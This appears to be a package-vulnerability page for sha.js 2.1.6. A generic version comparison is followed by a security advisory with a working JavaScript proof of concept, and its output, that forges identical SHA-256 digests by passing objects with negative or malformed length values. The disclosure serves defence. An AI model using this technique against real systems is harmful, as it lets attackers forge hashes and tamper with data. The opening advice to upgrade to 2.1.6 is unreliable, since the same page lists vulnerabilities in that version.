Sha.js is a JavaScript library providing streaming SHA-1 hashing functionality, ideal for developers needing cryptographic hash functions within their JavaScript applications. Comparing versions 2.1.6 and 2.1.5, the core functionality remains consistent: both versions offer the same "streaming sha1 hash" capability, rely on the "buffer" dependency at version "~2.3.2", and utilize "tape" as a development dependency, also at version "~2.3.2", suggesting no fundamental API changes or feature additions between releases. The license remains MIT, facilitating broad usage rights.
The primary difference lies in the release date. Version 2.1.6 was published on July 19, 2014, while version 2.1.5 appeared earlier, on June 7, 2014. This relatively short interval between releases implies that version 2.1.6 likely contains bug fixes, dependency updates (potentially within the allowed ~2.3.2 range for buffer and tape), or minor performance enhancements. Developers should opt for the newer 2.1.6 to benefit from these incremental improvements and ensure they're using the most up-to-date and stable build. The library, authored by Dominic Tarr, and hosted on GitHub, is valuable for client-side or server-side JavaScript environments where SHA-1 hashing is required, such as data integrity checks, password storage preparation (though SHA-1 is not recommended for new password storage due to security concerns, it may be needed for legacy systems), or generating unique identifiers.
All the vulnerabilities related to the version 2.1.6 of the package
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}